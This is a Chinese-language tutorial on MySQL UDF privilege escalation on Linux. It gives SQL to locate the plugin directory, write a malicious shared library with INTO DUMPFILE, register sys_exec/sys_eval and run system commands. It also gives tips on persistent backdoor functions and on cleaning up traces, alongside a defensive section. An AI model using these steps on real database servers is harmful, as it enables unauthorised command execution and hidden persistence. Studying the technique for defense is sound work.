Mysql数据库udf提权Linux平台带写入payload
字数 1092 2025-09-01 11:26:11

MySQL UDF提权技术详解(Linux平台)

一、UDF提权原理

UDF (User Defined Function) 是MySQL数据库的功能扩展机制,允许用户通过自定义函数实现MySQL原生不支持的功能。UDF提权的核心原理是:

  1. 通过MySQL的动态链接库文件导入自定义函数
  2. 这些自定义函数可以在SQL语句中调用,如同调用原生函数(如version())
  3. 精心构造的自定义函数可以执行系统命令,从而实现权限提升

二、前提条件

要成功利用UDF提权,必须满足以下条件:

  1. 高权限数据库用户:需要root或具有FILE权限的MySQL用户
  2. secure_file_priv设置
    • MySQL 5.5之前:默认空值,可向任意绝对路径写文件
    • MySQL 5.5之后:默认NULL,无法写入文件(无法直接利用)
  3. MySQL插件目录写入权限:需要能向plugin_dir指定的目录写入文件

三、信息收集阶段

在实施UDF提权前,需要进行以下信息收集:

-- 查看插件目录位置
show variables like '%plugin%';

-- 检查是否已有UDF函数
select * from func;

-- 查看文件写入限制
select @@secure_file_priv;

关键变量plugin_dir显示了MySQL插件安装路径(如/usr/lib/mysql/plugin/),这是我们需要写入恶意库文件的目标位置。

四、UDF提权核心步骤

1. 准备恶意动态库

需要准备一个包含恶意功能的.so文件(Linux平台),通常包含以下功能函数:

  • sys_exec - 执行系统命令
  • sys_eval - 执行系统命令并返回输出

2. 写入恶意库到插件目录

使用MySQL的写入功能将.so文件写入插件目录:

-- 将十六进制表示的.so文件内容写入目标路径
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';

注意:十六进制内容应为完整的.so文件二进制内容。

3. 创建UDF函数

-- 创建函数关联到库中的恶意函数
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';

4. 执行系统命令

-- 使用sys_exec执行命令(无回显)
SELECT sys_exec('id > /tmp/uid.txt');

-- 使用sys_eval执行命令并获取输出
SELECT sys_eval('id');

五、防御措施

  1. 最小权限原则:MySQL服务账户应使用低权限用户运行
  2. secure_file_priv设置:应设置为NULL或特定目录
  3. 插件目录权限:严格控制plugin_dir的写入权限
  4. UDF函数审计:定期检查func表中注册的函数
  5. 禁用UDF:不需要时可禁用UDF功能

六、技术限制

  1. MySQL 5.5+版本默认secure_file_priv=NULL,增加了利用难度
  2. 需要MySQL高权限账户
  3. 需要插件目录可写权限
  4. 部分系统可能有SELinux等额外安全限制

七、高级技巧

  1. 绕过secure_file_priv:如果web目录可写,可尝试写入web目录通过web执行
  2. 自定义库开发:可开发更隐蔽的恶意库文件
  3. 权限维持:创建持久化后门函数

八、清理痕迹

提权成功后应清理痕迹:

-- 删除函数
DROP FUNCTION sys_exec;
DROP FUNCTION sys_eval;

-- 删除库文件(需系统权限)
SELECT sys_exec('rm /usr/lib/mysql/plugin/lib_mysqludf_sys.so');

注意:实际攻击行为可能违反法律,本文仅用于安全研究和技术防御参考。

MySQL UDF提权技术详解(Linux平台) 一、UDF提权原理 UDF (User Defined Function) 是MySQL数据库的功能扩展机制,允许用户通过自定义函数实现MySQL原生不支持的功能。UDF提权的核心原理是: 通过MySQL的动态链接库文件导入自定义函数 这些自定义函数可以在SQL语句中调用,如同调用原生函数(如version()) 精心构造的自定义函数可以执行系统命令,从而实现权限提升 二、前提条件 要成功利用UDF提权,必须满足以下条件: 高权限数据库用户 :需要root或具有FILE权限的MySQL用户 secure_ file_ priv设置 : MySQL 5.5之前:默认空值,可向任意绝对路径写文件 MySQL 5.5之后:默认NULL,无法写入文件(无法直接利用) MySQL插件目录写入权限 :需要能向plugin_ dir指定的目录写入文件 三、信息收集阶段 在实施UDF提权前,需要进行以下信息收集: 关键变量 plugin_dir 显示了MySQL插件安装路径(如 /usr/lib/mysql/plugin/ ),这是我们需要写入恶意库文件的目标位置。 四、UDF提权核心步骤 1. 准备恶意动态库 需要准备一个包含恶意功能的.so文件(Linux平台),通常包含以下功能函数: sys_exec - 执行系统命令 sys_eval - 执行系统命令并返回输出 2. 写入恶意库到插件目录 使用MySQL的写入功能将.so文件写入插件目录: 注意:十六进制内容应为完整的.so文件二进制内容。 3. 创建UDF函数 4. 执行系统命令 五、防御措施 最小权限原则 :MySQL服务账户应使用低权限用户运行 secure_ file_ priv设置 :应设置为NULL或特定目录 插件目录权限 :严格控制plugin_ dir的写入权限 UDF函数审计 :定期检查func表中注册的函数 禁用UDF :不需要时可禁用UDF功能 六、技术限制 MySQL 5.5+版本默认secure_ file_ priv=NULL,增加了利用难度 需要MySQL高权限账户 需要插件目录可写权限 部分系统可能有SELinux等额外安全限制 七、高级技巧 绕过secure_ file_ priv :如果web目录可写,可尝试写入web目录通过web执行 自定义库开发 :可开发更隐蔽的恶意库文件 权限维持 :创建持久化后门函数 八、清理痕迹 提权成功后应清理痕迹: 注意:实际攻击行为可能违反法律,本文仅用于安全研究和技术防御参考。